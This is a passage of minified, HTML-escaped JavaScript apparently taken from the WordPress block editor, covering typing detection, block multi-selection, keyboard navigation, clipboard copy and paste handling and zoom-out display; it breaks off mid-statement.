e=(0,g.useSelect)((e=&gt;e(Ii).isTyping()),[]),{stopTyping:t}=(0,g.useDispatch)(Ii);return(0,m.useRefEffect)((n=&gt;{if(!e)return;const{ownerDocument:o}=n;let r,i;function s(e){const{clientX:n,clientY:o}=e;r&amp;&amp;i&amp;&amp;(r!==n||i!==o)&amp;&amp;t(),r=n,i=o}return o.addEventListener(&quot;mousemove&quot;,s),()=&gt;{o.removeEventListener(&quot;mousemove&quot;,s)}}),[e,t])}function nw(){const{isTyping:e}=(0,g.useSelect)((e=&gt;{const{isTyping:t}=e(Ii);return{isTyping:t()}}),[]),{startTyping:t,stopTyping:n}=(0,g.useDispatch)(Ii),o=tw(),r=(0,m.useRefEffect)((o=&gt;{const{ownerDocument:r}=o,{defaultView:i}=r,s=i.getSelection();if(e){let e=function(e){const{target:t}=e;a=i.setTimeout((()=&gt;{(0,Ua.isTextField)(t)||n()}))},t=function(e){const{keyCode:t}=e;t!==$a.ESCAPE&amp;&amp;t!==$a.TAB||n()},l=function(){s.isCollapsed||n()};let a;return o.addEventListener(&quot;focus&quot;,e),o.addEventListener(&quot;keydown&quot;,t),r.addEventListener(&quot;selectionchange&quot;,l),()=&gt;{i.clearTimeout(a),o.removeEventListener(&quot;focus&quot;,e),o.removeEventListener(&quot;keydown&quot;,t),r.removeEventListener(&quot;selectionchange&quot;,l)}}function l(e){const{type:n,target:r}=e;(0,Ua.isTextField)(r)&amp;&amp;o.contains(r)&amp;&amp;(&quot;keydown&quot;!==n||function(e){const{keyCode:t,shiftKey:n}=e;return!n&amp;&amp;ew.has(t)}(e))&amp;&amp;t()}return o.addEventListener(&quot;keypress&quot;,l),o.addEventListener(&quot;keydown&quot;,l),()=&gt;{o.removeEventListener(&quot;keypress&quot;,l),o.removeEventListener(&quot;keydown&quot;,l)}}),[e,t,n]);return(0,m.useMergeRefs)([o,r])}var ow=function({children:e}){return(0,d.jsx)(&quot;div&quot;,{ref:nw(),children:e})};function rw({clientId:e,rootClientId:t=&quot;&quot;,position:n=&quot;top&quot;}){const[o,r]=(0,h.useState)(!1),{sectionRootClientId:i,sectionClientIds:s,insertionPoint:l,blockInsertionPointVisible:a,blockInsertionPoint:c,blocksBeingDragged:u}=(0,g.useSelect)((e=&gt;{const{getInsertionPoint:t,getBlockOrder:n,getSectionRootClientId:o,isBlockInsertionPointVisible:r,getBlockInsertionPoint:i,getDraggedBlockClientIds:s}=U(e(Ii)),l=o();return{sectionRootClientId:l,sectionClientIds:n(l),insertionPoint:t(),blockInsertionPoint:i(),blockInsertionPointVisible:r(),blocksBeingDragged:s()}}),[]),p=(0,m.useReducedMotion)();if(!e)return;let f=!1;if(!(t===i&amp;&amp;s&amp;&amp;s.includes(e)))return null;const b=0===l?.index&amp;&amp;e===s[l.index],k=l&amp;&amp;l.hasOwnProperty(&quot;index&quot;)&amp;&amp;e===s[l.index-1];&quot;top&quot;===n&amp;&amp;(f=b||a&amp;&amp;0===c.index&amp;&amp;e===s[c.index]),&quot;bottom&quot;===n&amp;&amp;(f=k||a&amp;&amp;e===s[c.index-1]);const v=u[0],_=u.includes(e),y=s.indexOf(v),x=y&gt;0?s[y-1]:null;return(_||x===e)&amp;&amp;(f=!1),(0,d.jsx)(Ss.__unstableAnimatePresence,{children:f&amp;&amp;(0,d.jsx)(Ss.__unstableMotion.div,{initial:{height:0},animate:{height:&quot;calc(1 * var(--wp-block-editor-iframe-zoom-out-frame-size) / var(--wp-block-editor-iframe-zoom-out-scale)&quot;},exit:{height:0},transition:{type:&quot;tween&quot;,duration:p?0:.2,ease:[.6,0,.4,1]},className:gs(&quot;block-editor-block-list__zoom-out-separator&quot;,{&quot;is-dragged-over&quot;:o}),&quot;data-is-insertion-point&quot;:&quot;true&quot;,onDragOver:()=&gt;r(!0),onDragLeave:()=&gt;r(!1),children:(0,d.jsx)(Ss.__unstableMotion.div,{initial:{opacity:0},animate:{opacity:1},exit:{opacity:0,transition:{delay:-.125}},transition:{ease:&quot;linear&quot;,duration:.1,delay:.125},children:(0,T.__)(&quot;Drop pattern.&quot;)})})})}const iw=(0,h.createContext)();iw.displayName=&quot;IntersectionObserverContext&quot;;const sw=new WeakMap,lw={trailing:!0};function aw({className:e,...t}){const{isOutlineMode:n,isFocusMode:o,temporarilyEditingAsBlocks:r}=(0,g.useSelect)((e=&gt;{const{getSettings:t,getTemporarilyEditingAsBlocks:n,isTyping:o,hasBlockSpotlight:r}=U(e(Ii)),{outlineMode:i,focusMode:s}=t();return{isOutlineMode:i&amp;&amp;!o(),isFocusMode:s||r(),temporarilyEditingAsBlocks:n()}}),[]),i=(0,g.useRegistry)(),{setBlockVisibility:s}=(0,g.useDispatch)(Ii),l=(0,m.useDebounce)((0,h.useCallback)((()=&gt;{const e={};sw.get(i).forEach((([t,n])=&gt;{e[t]=n})),s(e)}),[i]),300,lw),a=(0,h.useMemo)((()=&gt;{const{IntersectionObserver:e}=window;if(e)return new e((e=&gt;{sw.get(i)||sw.set(i,[]);for(const t of e){const e=t.target.getAttribute(&quot;data-block&quot;);sw.get(i).push([e,t.isIntersecting])}l()}))}),[]),c=QS({ref:(0,m.useMergeRefs)([MS(),TS(),nw()]),className:gs(&quot;is-root-container&quot;,e,{&quot;is-outline-mode&quot;:n,&quot;is-focus-mode&quot;:o})},t);return(0,d.jsxs)(iw.Provider,{value:a,children:[(0,d.jsx)(&quot;div&quot;,{...c}),!!r&amp;&amp;(0,d.jsx)(cw,{clientId:r})]})}function cw({clientId:e}){const{stopEditingAsBlocks:t}=U((0,g.useDispatch)(Ii)),n=(0,g.useSelect)((t=&gt;{const{isBlockSelected:n,hasSelectedInnerBlock:o}=t(Ii);return n(e)||o(e,!0)}),[e]);return(0,h.useEffect)((()=&gt;{n||t(e)}),[n,e,t]),null}function uw(e){return(0,d.jsx)(w,{value:x,children:(0,d.jsx)(aw,{...e})})}const dw=[],pw=new Set;function hw({placeholder:e,rootClientId:t,renderAppender:n,__experimentalAppenderTagName:o,layout:r=Xl}){const i=!1!==n,s=!!n,{order:l,isZoomOut:a,selectedBlocks:c,visibleBlocks:u,shouldRenderAppender:h}=(0,g.useSelect)((e=&gt;{const{getSettings:n,getBlockOrder:o,getSelectedBlockClientIds:r,__unstableGetVisibleBlocks:l,getTemplateLock:a,getBlockEditingMode:c,isSectionBlock:u,isContainerInsertableToInContentOnlyMode:d,getBlockName:h,isZoomOut:g,canInsertBlockType:m}=U(e(Ii)),f=o(t);if(n().isPreviewMode)return{order:f,selectedBlocks:dw,visibleBlocks:pw};const b=r(),k=b[0],v=!(t||k||f.length&amp;&amp;m((0,p.getDefaultBlockName)(),t)),_=!(!t||!k||t!==k);return{order:f,selectedBlocks:b,visibleBlocks:l(),isZoomOut:g(),shouldRenderAppender:(!u(t)||d(h(k),t))&amp;&amp;&quot;disabled&quot;!==c(t)&amp;&amp;!a(t)&amp;&amp;i&amp;&amp;!g()&amp;&amp;(s||_||v)}}),[t,i,s]);return(0,d.jsxs)(Jl,{value:r,children:[l.map((e=&gt;(0,d.jsxs)(g.AsyncModeProvider,{value:!u.has(e)&amp;&amp;!c.includes(e),children:[a&amp;&amp;(0,d.jsx)(rw,{clientId:e,rootClientId:t,position:&quot;top&quot;}),(0,d.jsx)(bS,{rootClientId:t,clientId:e}),a&amp;&amp;(0,d.jsx)(rw,{clientId:e,rootClientId:t,position:&quot;bottom&quot;})]},e))),l.length&lt;1&amp;&amp;e,h&amp;&amp;(0,d.jsx)(xS,{tagName:o,rootClientId:t,CustomAppender:n})]})}function gw(e){return(0,d.jsx)(g.AsyncModeProvider,{value:!1,children:(0,d.jsx)(hw,{...e})})}function mw(e){const{isMultiSelecting:t,getMultiSelectedBlockClientIds:n,hasMultiSelection:o,getSelectedBlockClientId:r,getSelectedBlocksInitialCaretPosition:i,__unstableIsFullySelected:s}=e(Ii);return{isMultiSelecting:t(),multiSelectedBlockClientIds:n(),hasMultiSelection:o(),selectedBlockClientId:r(),initialPosition:i(),isFullSelection:s()}}function fw(){const{initialPosition:e,isMultiSelecting:t,multiSelectedBlockClientIds:n,hasMultiSelection:o,selectedBlockClientId:r,isFullSelection:i}=(0,g.useSelect)(mw,[]);return(0,m.useRefEffect)((r=&gt;{const{ownerDocument:s}=r,{defaultView:l}=s;if(null==e)return;if(!o||t)return;const{length:a}=n;a&lt;2||i&amp;&amp;(r.contentEditable=!0,r.focus(),l.getSelection().removeAllRanges())}),[o,t,n,r,e,i])}function bw(e,t,n,o){let r,i=Ua.focus.focusable.find(n);return t&amp;&amp;i.reverse(),i=i.slice(i.indexOf(e)+1),o&amp;&amp;(r=e.getBoundingClientRect()),i.find((function(e){if(!(e.closest(&quot;[inert]&quot;)||1===e.children.length&amp;&amp;Gm(e,e.firstElementChild)&amp;&amp;&quot;true&quot;===e.firstElementChild.getAttribute(&quot;contenteditable&quot;))){if(!Ua.focus.tabbable.isTabbableIndex(e))return!1;if(e.isContentEditable&amp;&amp;&quot;true&quot;!==e.contentEditable)return!1;if(o){const t=e.getBoundingClientRect();if(t.left&gt;=r.right||t.right&lt;=r.left)return!1}return!0}}))}function kw(){const{getMultiSelectedBlocksStartClientId:e,getMultiSelectedBlocksEndClientId:t,getSettings:n,hasMultiSelection:o,__unstableIsFullySelected:r}=(0,g.useSelect)(Ii),{selectBlock:i}=(0,g.useDispatch)(Ii);return(0,m.useRefEffect)((s=&gt;{let l;function a(){l=null}function c(a){if(a.defaultPrevented)return;const{keyCode:c,target:u,shiftKey:d,ctrlKey:p,altKey:h,metaKey:g}=a,m=c===$a.UP,f=c===$a.DOWN,b=c===$a.LEFT,k=c===$a.RIGHT,v=m||b,_=b||k,y=m||f,x=_||y,S=d||p||h||g,w=y?Ua.isVerticalEdge:Ua.isHorizontalEdge,{ownerDocument:C}=s,{defaultView:B}=C;if(!x)return;if(o()){if(d)return;if(!r())return;return a.preventDefault(),void(v?i(e()):i(t(),-1))}if(!function(e,t,n){const o=t===$a.UP||t===$a.DOWN,{tagName:r}=e,i=e.getAttribute(&quot;type&quot;);if(o&amp;&amp;!n)return&quot;INPUT&quot;!==r||![&quot;date&quot;,&quot;datetime-local&quot;,&quot;month&quot;,&quot;number&quot;,&quot;range&quot;,&quot;time&quot;,&quot;week&quot;].includes(i);if(&quot;INPUT&quot;===r)return[&quot;button&quot;,&quot;checkbox&quot;,&quot;number&quot;,&quot;color&quot;,&quot;file&quot;,&quot;image&quot;,&quot;radio&quot;,&quot;reset&quot;,&quot;submit&quot;].includes(i);return&quot;TEXTAREA&quot;!==r}(u,c,S))return;y?l||(l=(0,Ua.computeCaretRect)(B)):l=null;const I=(0,Ua.isRTL)(u)?!v:v,{keepCaretInsideBlock:j}=n();if(d)(function(e,t){const n=bw(e,t,s);return n&amp;&amp;Wm(n)})(u,v)&amp;&amp;w(u,v)&amp;&amp;(s.contentEditable=!0,s.focus());else if(!y||!(0,Ua.isVerticalEdge)(u,v)||h&amp;&amp;!(0,Ua.isHorizontalEdge)(u,I)||j){if(_&amp;&amp;B.getSelection().isCollapsed&amp;&amp;(0,Ua.isHorizontalEdge)(u,I)&amp;&amp;!j){const e=bw(u,I,s);(0,Ua.placeCaretAtHorizontalEdge)(e,v),a.preventDefault()}}else{const e=bw(u,v,s,!0);e&amp;&amp;((0,Ua.placeCaretAtVerticalEdge)(e,h?!v:v,h?void 0:l),a.preventDefault())}}return s.addEventListener(&quot;mousedown&quot;,a),s.addEventListener(&quot;keydown&quot;,c),()=&gt;{s.removeEventListener(&quot;mousedown&quot;,a),s.removeEventListener(&quot;keydown&quot;,c)}}),[])}function vw(){const{getBlockOrder:e,getSelectedBlockClientIds:t,getBlockRootClientId:n}=(0,g.useSelect)(Ii),{multiSelect:o,selectBlock:r}=(0,g.useDispatch)(Ii),i=(0,qk.__unstableUseShortcutEventMatch)();return(0,m.useRefEffect)((s=&gt;{function l(l){if(!i(&quot;core/block-editor/select-all&quot;,l))return;const a=t();if(a.length&lt;2&amp;&amp;!(0,Ua.isEntirelySelected)(l.target))return;l.preventDefault();const[c]=a,u=n(c),d=e(u);a.length!==d.length?o(d[0],d[d.length-1]):u&amp;&amp;(s.ownerDocument.defaultView.getSelection().removeAllRanges(),r(u))}return s.addEventListener(&quot;keydown&quot;,l),()=&gt;{s.removeEventListener(&quot;keydown&quot;,l)}}),[])}function _w(e,t){e.contentEditable=t,t&amp;&amp;e.focus()}function yw(){const{startMultiSelect:e,stopMultiSelect:t}=(0,g.useDispatch)(Ii),{isSelectionEnabled:n,hasSelectedBlock:o,isDraggingBlocks:r,isMultiSelecting:i}=(0,g.useSelect)(Ii);return(0,m.useRefEffect)((s=&gt;{const{ownerDocument:l}=s,{defaultView:a}=l;let c,u,d;function p(){t(),a.removeEventListener(&quot;mouseup&quot;,p),u=a.requestAnimationFrame((()=&gt;{if(!o())return;_w(s,!1);const e=a.getSelection();if(e.rangeCount){const t=e.getRangeAt(0),{commonAncestorContainer:n}=t,o=t.cloneRange();c.contains(n)&amp;&amp;(c.focus(),e.removeAllRanges(),e.addRange(o))}}))}function h({buttons:t,target:o,relatedTarget:l}){o.contains(d)&amp;&amp;(o.contains(l)||r()||1===t&amp;&amp;(i()||s!==o&amp;&amp;&quot;true&quot;===o.getAttribute(&quot;contenteditable&quot;)&amp;&amp;n()&amp;&amp;(c=o,e(),a.addEventListener(&quot;mouseup&quot;,p),_w(s,!0))))}return s.addEventListener(&quot;mouseout&quot;,h),s.addEventListener(&quot;mousedown&quot;,(function({target:e}){d=e})),()=&gt;{s.removeEventListener(&quot;mouseout&quot;,h),a.removeEventListener(&quot;mouseup&quot;,p),a.cancelAnimationFrame(u)}}),[e,t,n,o])}function xw(e,t){e.contentEditable!==String(t)&amp;&amp;(e.contentEditable=t,t&amp;&amp;e.focus())}function Sw(e){const t=e.nodeType===e.ELEMENT_NODE?e:e.parentElement;return t?.closest(&quot;[data-wp-block-attribute-key]&quot;)}function ww(){const{multiSelect:e,selectBlock:t,selectionChange:n}=(0,g.useDispatch)(Ii),{getBlockParents:o,getBlockSelectionStart:r,isMultiSelecting:i}=(0,g.useSelect)(Ii);return(0,m.useRefEffect)((s=&gt;{const{ownerDocument:l}=s,{defaultView:a}=l;function c(l){const c=a.getSelection();if(!c.rangeCount)return;const u=function(e){const{anchorNode:t,anchorOffset:n}=e;return t.nodeType===t.TEXT_NODE||0===n?t:t.childNodes[n-1]}(c),d=function(e){const{focusNode:t,focusOffset:n}=e;return t.nodeType===t.TEXT_NODE||n===t.childNodes.length?t:0===n&amp;&amp;(0,Ua.isSelectionForward)(e)?t.previousSibling??t.parentElement:t.childNodes[n]}(c);if(!s.contains(u)||!s.contains(d))return;const p=l.shiftKey&amp;&amp;&quot;mouseup&quot;===l.type;if(c.isCollapsed&amp;&amp;!p){if(&quot;true&quot;===s.contentEditable&amp;&amp;!i()){xw(s,!1);let e=u.nodeType===u.ELEMENT_NODE?u:u.parentElement;e=e?.closest(&quot;[contenteditable]&quot;),e?.focus()}return}let h=Wm(u),g=Wm(d);if(p){const e=r(),t=Wm(l.target),n=t!==g;(h===g&amp;&amp;c.isCollapsed||!g||n)&amp;&amp;(g=t),h!==e&amp;&amp;(h=e)}if(void 0===h&amp;&amp;void 0===g)return void xw(s,!1);if(h===g)i()?e(h,h):t(h);else{const t=[...o(h),h],r=[...o(g),g],i=function(e,t){let n=0;for(;e[n]===t[n];)n++;return n}(t,r);if(t[i]!==h||r[i]!==g)return void e(t[i],r[i]);const s=Sw(u),l=Sw(d);if(s&amp;&amp;l){const e=c.getRangeAt(0),t=(0,de.create)({element:s,range:e,__unstableIsEditableTree:!0}),o=(0,de.create)({element:l,range:e,__unstableIsEditableTree:!0}),r=t.start??t.end,i=o.start??o.end;n({start:{clientId:h,attributeKey:s.dataset.wpBlockAttributeKey,offset:r},end:{clientId:g,attributeKey:l.dataset.wpBlockAttributeKey,offset:i}})}else e(h,g)}}return l.addEventListener(&quot;selectionchange&quot;,c),a.addEventListener(&quot;mouseup&quot;,c),()=&gt;{l.removeEventListener(&quot;selectionchange&quot;,c),a.removeEventListener(&quot;mouseup&quot;,c)}}),[e,t,n,o])}function Cw(){const{selectBlock:e}=(0,g.useDispatch)(Ii),{isSelectionEnabled:t,getBlockSelectionStart:n,hasMultiSelection:o}=(0,g.useSelect)(Ii);return(0,m.useRefEffect)((r=&gt;{function i(i){if(!t()||0!==i.button)return;const s=n(),l=Wm(i.target);i.shiftKey?s&amp;&amp;s!==l&amp;&amp;(r.contentEditable=!0,r.focus()):o()&amp;&amp;e(l)}return r.addEventListener(&quot;mousedown&quot;,i),()=&gt;{r.removeEventListener(&quot;mousedown&quot;,i)}}),[e,t,n,o])}function Bw(){const{__unstableIsFullySelected:e,getSelectedBlockClientIds:t,getSelectedBlockClientId:n,__unstableIsSelectionMergeable:o,hasMultiSelection:r,getBlockName:i,canInsertBlockType:s,getBlockRootClientId:l,getSelectionStart:a,getSelectionEnd:c,getBlockAttributes:u}=(0,g.useSelect)(Ii),{replaceBlocks:d,__unstableSplitSelection:h,removeBlocks:f,__unstableDeleteSelection:b,__unstableExpandSelection:k,__unstableMarkAutomaticChange:v}=(0,g.useDispatch)(Ii);return(0,m.useRefEffect)((g=&gt;{function m(e){&quot;true&quot;===g.contentEditable&amp;&amp;e.preventDefault()}function _(m){if(!m.defaultPrevented)if(r())m.keyCode===$a.ENTER?(g.contentEditable=!1,m.preventDefault(),e()?d(t(),(0,p.createBlock)((0,p.getDefaultBlockName)())):h()):m.keyCode===$a.BACKSPACE||m.keyCode===$a.DELETE?(g.contentEditable=!1,m.preventDefault(),e()?f(t()):o()?b(m.keyCode===$a.DELETE):k()):1!==m.key.length||m.metaKey||m.ctrlKey||(g.contentEditable=!1,o()?b(m.keyCode===$a.DELETE):(m.preventDefault(),g.ownerDocument.defaultView.getSelection().removeAllRanges()));else if(m.keyCode===$a.ENTER){if(m.shiftKey||e())return;const t=n(),o=i(t),r=a(),g=c();if(r.attributeKey===g.attributeKey){const e=u(t)[r.attributeKey],n=(0,p.getBlockTransforms)(&quot;from&quot;).filter((({type:e})=&gt;&quot;enter&quot;===e)),o=(0,p.findTransform)(n,(t=&gt;t.regExp.test(e)));if(o)return d(t,o.transform({content:e})),void v()}if(!(0,p.hasBlockSupport)(o,&quot;splitting&quot;,!1)&amp;&amp;!m.__deprecatedOnSplit)return;s(o,l(t))&amp;&amp;(h(),m.preventDefault())}}function y(e){r()&amp;&amp;(g.contentEditable=!1,o()?b():(e.preventDefault(),g.ownerDocument.defaultView.getSelection().removeAllRanges()))}return g.addEventListener(&quot;beforeinput&quot;,m),g.addEventListener(&quot;keydown&quot;,_),g.addEventListener(&quot;compositionstart&quot;,y),()=&gt;{g.removeEventListener(&quot;beforeinput&quot;,m),g.removeEventListener(&quot;keydown&quot;,_),g.removeEventListener(&quot;compositionstart&quot;,y)}}),[])}function Iw(){const{getBlockName:e}=(0,g.useSelect)(Ii),{getBlockType:t}=(0,g.useSelect)(p.store),{createSuccessNotice:n}=(0,g.useDispatch)(dr.store);return(0,h.useCallback)(((o,r)=&gt;{let i=&quot;&quot;;if(&quot;copyStyles&quot;===o)i=(0,T.__)(&quot;Styles copied to clipboard.&quot;);else if(1===r.length){const n=r[0],s=t(e(n))?.title;i=&quot;copy&quot;===o?(0,T.sprintf)((0,T.__)(&#039;Copied &quot;%s&quot; to clipboard.&#039;),s):(0,T.sprintf)((0,T.__)(&#039;Moved &quot;%s&quot; to clipboard.&#039;),s)}else i=&quot;copy&quot;===o?(0,T.sprintf)((0,T._n)(&quot;Copied %d block to clipboard.&quot;,&quot;Copied %d blocks to clipboard.&quot;,r.length),r.length):(0,T.sprintf)((0,T._n)(&quot;Moved %d block to clipboard.&quot;,&quot;Moved %d blocks to clipboard.&quot;,r.length),r.length);n(i,{type:&quot;snackbar&quot;})}),[n,e,t])}function jw({clipboardData:e}){let t=&quot;&quot;,n=&quot;&quot;;try{t=e.getData(&quot;text/plain&quot;),n=e.getData(&quot;text/html&quot;)}catch(e){return}n=function(e){const t=&quot;\x3c!--StartFragment--\x3e&quot;,n=e.indexOf(t);if(!(n&gt;-1))return e;const o=(e=e.substring(n+20)).indexOf(&quot;\x3c!--EndFragment--\x3e&quot;);return o&gt;-1&amp;&amp;(e=e.substring(0,o)),e}(n),n=function(e){const t=&quot;&lt;meta charset=&#039;utf-8&#039;&gt;&quot;;return e.startsWith(t)?e.slice(22):e}(n);const o=(0,Ua.getFilesFromDataTransfer)(e);return o.length&amp;&amp;!function(e,t){if(t&amp;&amp;1===e?.length&amp;&amp;0===e[0].type.indexOf(&quot;image/&quot;)){const e=/&lt;\s*img\b/gi;if(1!==t.match(e)?.length)return!0;const n=/&lt;\s*img\b[^&gt;]*\bsrc=&quot;file:\/\//i;if(t.match(n))return!0}return!1}(o,n)?{files:o}:{html:n,plainText:t,files:[]}}const Ew=Symbol(&quot;requiresWrapperOnCopy&quot;);function Tw(e,t,n){let o=t;const[r]=t;if(r){if(n.select(p.store).getBlockType(r.name)[Ew]){const{getBlockRootClientId:e,getBlockName:t,getBlockAttributes:i}=n.select(Ii),s=e(r.clientId),l=t(s);l&amp;&amp;(o=(0,p.createBlock)(l,i(s),o))}}const i=(0,p.serialize)(o);e.clipboardData.setData(&quot;text/plain&quot;,function(e){e=e.replace(/&lt;br&gt;/g,&quot;\n&quot;);return(0,Ua.__unstableStripHTML)(e).trim().replace(/\n\n+/g,&quot;\n\n&quot;)}(i)),e.clipboardData.setData(&quot;text/html&quot;,i)}function Mw(){const e=(0,g.useRegistry)(),{getBlocksByClientId:t,getSelectedBlockClientIds:n,hasMultiSelection:o,getSettings:r,getBlockName:i,__unstableIsFullySelected:s,__unstableIsSelectionCollapsed:l,__unstableIsSelectionMergeable:a,__unstableGetSelectedBlocksWithPartialSelection:c,canInsertBlockType:u,getBlockRootClientId:d}=(0,g.useSelect)(Ii),{flashBlock:h,removeBlocks:f,replaceBlocks:b,__unstableDeleteSelection:k,__unstableExpandSelection:v,__unstableSplitSelection:_}=(0,g.useDispatch)(Ii),y=Iw();return(0,m.useRefEffect)((g=&gt;{function m(m){if(m.defaultPrevented)return;const x=n();if(0===x.length)return;if(!o()){const{target:e}=m,{ownerDocument:t}=e;if(&quot;copy&quot;===m.type||&quot;cut&quot;===m.type?(0,Ua.documentHasUncollapsedSelection)(t):(0,Ua.documentHasSelection)(t)&amp;&amp;!t.activeElement.isContentEditable)return}const{activeElement:S}=m.target.ownerDocument;if(!g.contains(S))return;const w=a(),C=l()||s(),B=!C&amp;&amp;!w;if(&quot;copy&quot;===m.type||&quot;cut&quot;===m.type)if(m.preventDefault(),1===x.length&amp;&amp;h(x[0]),B)v();else{let n;if(y(m.type,x),C)n=t(x);else{const[e,o]=c();n=[e,...t(x.slice(1,x.length-1)),o]}Tw(m,n,e)}if(&quot;cut&quot;===m.type)C&amp;&amp;!B?f(x):(m.target.ownerDocument.activeElement.contentEditable=!1,k());else if(&quot;paste&quot;===m.type){const{__experimentalCanUserUseUnfilteredHTML:e,mediaUpload:t}=r();if(&quot;true&quot;===m.clipboardData.getData(&quot;rich-text&quot;))return;const{plainText:n,html:l,files:a}=jw(m),c=s();let h=[];if(a.length){if(!t)return void m.preventDefault();const e=(0,p.getBlockTransforms)(&quot;from&quot;);h=a.reduce(((t,n)=&gt;{const o=(0,p.findTransform)(e,(e=&gt;&quot;files&quot;===e.type&amp;&amp;e.isMatch([n])));return o&amp;&amp;t.push(o.transform([n])),t}),[]).flat()}else h=(0,p.pasteHandler)({HTML:l,plainText:n,mode:c?&quot;BLOCKS&quot;:&quot;AUTO&quot;,canUserUseUnfilteredHTML:e});if(&quot;string&quot;==typeof h)return;if(c)return b(x,h,h.length-1,-1),void m.preventDefault();if(!o()&amp;&amp;!(0,p.hasBlockSupport)(i(x[0]),&quot;splitting&quot;,!1)&amp;&amp;!m.__deprecatedOnSplit)return;const[g]=x,f=d(g),k=[];for(const e of h)if(u(e.name,f))k.push(e);else{const t=i(f),n=e.name!==t?(0,p.switchToBlockType)(e,t):[e];if(!n)return;for(const e of n)for(const t of e.innerBlocks)k.push(t)}_(k),m.preventDefault()}}return g.ownerDocument.addEventListener(&quot;copy&quot;,m),g.ownerDocument.addEventListener(&quot;cut&quot;,m),g.ownerDocument.addEventListener(&quot;paste&quot;,m),()=&gt;{g.ownerDocument.removeEventListener(&quot;copy&quot;,m),g.ownerDocument.removeEventListener(&quot;cut&quot;,m),g.ownerDocument.removeEventListener(&quot;paste&quot;,m)}}),[])}function Pw(){const[e,t,n]=function(){const e=(0,h.useRef)(),t=(0,h.useRef)(),n=(0,h.useRef)(),{hasMultiSelection:o,getSelectedBlockClientId:r,getBlockCount:i,getBlockOrder:s,getLastFocus:l,getSectionRootClientId:a,isZoomOut:c}=U((0,g.useSelect)(Ii)),{setLastFocus:u}=U((0,g.useDispatch)(Ii)),p=(0,h.useRef)();function f(t){const n=e.current.ownerDocument===t.target.ownerDocument?e.current:e.current.ownerDocument.defaultView.frameElement;if(p.current)p.current=null;else if(o())e.current.focus();else if(r())l()?.current?l().current.focus():e.current.querySelector(`[data-block=&quot;${r()}&quot;]`).focus();else if(c()){const t=a(),o=s(t);o.length?e.current.querySelector(`[data-block=&quot;${o[0]}&quot;]`).focus():t?e.current.querySelector(`[data-block=&quot;${t}&quot;]`).focus():n.focus()}else{const o=t.target.compareDocumentPosition(n)&amp;t.target.DOCUMENT_POSITION_FOLLOWING,r=Ua.focus.tabbable.find(e.current);r.length&amp;&amp;(o?r[0]:r[r.length-1]).focus()}}const b=(0,d.jsx)(&quot;div&quot;,{ref:t,tabIndex:&quot;0&quot;,onFocus:f}),k=(0,d.jsx)(&quot;div&quot;,{ref:n,tabIndex:&quot;0&quot;,onFocus:f}),v=(0,m.useRefEffect)((o=&gt;{function r(e){if(e.defaultPrevented)return;if(e.keyCode!==$a.TAB)return;if(!n.current||!t.current)return;const{target:o,shiftKey:r}=e,i=r?&quot;findPrevious&quot;:&quot;findNext&quot;,s=Ua.focus.tabbable[i](o),l=o.closest(&quot;[data-block]&quot;),a=l&amp;&amp;s&amp;&amp;(Gm(l,s)||$m(l,s));if((0,Ua.isFormElement)(s)&amp;&amp;a)return;const c=r?t:n;p.current=!0,c.current.focus({preventScroll:!0})}function s(e){u({...l(),current:e.target});const{ownerDocument:t}=o;!e.relatedTarget&amp;&amp;e.target.hasAttribute(&quot;data-block&quot;)&amp;&amp;t.activeElement===t.body&amp;&amp;0===i()&amp;&amp;o.focus()}function a(o){if(o.keyCode!==$a.TAB)return;if(&quot;region&quot;===o.target?.getAttribute(&quot;role&quot;))return;if(e.current===o.target)return;const r=o.shiftKey?&quot;findPrevious&quot;:&quot;findNext&quot;,i=Ua.focus.tabbable[r](o.target);i!==t.current&amp;&amp;i!==n.current||(o.preventDefault(),i.focus({preventScroll:!0}))}const{ownerDocument:c}=o,{defaultView:d}=c;return d.addEventListener(&quot;keydown&quot;,a),o.addEventListener(&quot;keydown&quot;,r),o.addEventListener(&quot;focusout&quot;,s),()=&gt;{d.removeEventListener(&quot;keydown&quot;,a),o.removeEventListener(&quot;keydown&quot;,r),o.removeEventListener(&quot;focusout&quot;,s)}}),[]);return[b,(0,m.useMergeRefs)([e,v]),k]}(),o=(0,g.useSelect)((e=&gt;e(Ii).hasMultiSelection()),[]);return[e,(0,m.useMergeRefs)([t,Mw(),Bw(),yw(),ww(),Cw(),fw(),vw(),kw(),(0,m.useRefEffect)((e=&gt;(e.tabIndex=0,e.dataset.hasMultiSelection=o,o?(e.setAttribute(&quot;aria-label&quot;,(0,T.__)(&quot;Multiple selected blocks&quot;)),()=&gt;{delete e.dataset.hasMultiSelection,e.removeAttribute(&quot;aria-label&quot;)}):()=&gt;{delete e.dataset.hasMultiSelection})),[o])]),n]}var Rw=(0,h.forwardRef)((function({children:e,...t},n){const[o,r,i]=Pw();return(0,d.jsxs)(d.Fragment,{children:[o,(0,d.jsx)(&quot;div&quot;,{...t,ref:(0,m.useMergeRefs)([r,n]),className:gs(t.className,&quot;block-editor-writing-flow&quot;),children:e}),i]})}));let Aw=null;function Nw({frameSize:e,containerWidth:t,maxContainerWidth:n,scaleContainerWidth:o}){return(Math.min(t,n)-2*e)/o}function Lw({frameSize:e,iframeDocument:t,maxContainerWidth:n=750,scale:o}){const[r,{height:i}]=(0,m.useResizeObserver)(),[s,{width:l,height:a}]=(0,m.useResizeObserver)(),c=(0,h.useRef)(0),u=1!==o,d=(0,m.useReducedMotion)(),p=&quot;auto-scaled&quot;===o,g=(0,h.useRef)(!1),f=(0,h.useRef)(null);(0,h.useEffect)((()=&gt;{u||(c.current=l)}),[l,u]);const b=Math.max(c.current,l),k=p?Nw({frameSize:e,containerWidth:l,maxContainerWidth:n,scaleContainerWidth:b}):o,v=(0,h.useRef)({scaleValue:k,frameSize:e,containerHeight:0,scrollTop:0,scrollHeight:0}),_=(0,h.useRef)({scaleValue:k,frameSize:e,containerHeight:0,scrollTop:0,scrollHeight:0}),y=(0,h.useCallback)((()=&gt;{const{scrollTop:e}=v.current,{scrollTop:n}=_.current;return t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-scroll-top&quot;,`${e}px`),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-scroll-top-next&quot;,`${n}px`),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-overflow-behavior&quot;,v.current.scrollHeight===v.current.containerHeight?&quot;auto&quot;:&quot;scroll&quot;),t.documentElement.classList.add(&quot;zoom-out-animation&quot;),t.documentElement.animate(function(e,t){const{scaleValue:n,frameSize:o,scrollTop:r}=e,{scaleValue:i,frameSize:s,scrollTop:l}=t;return[{translate:&quot;0 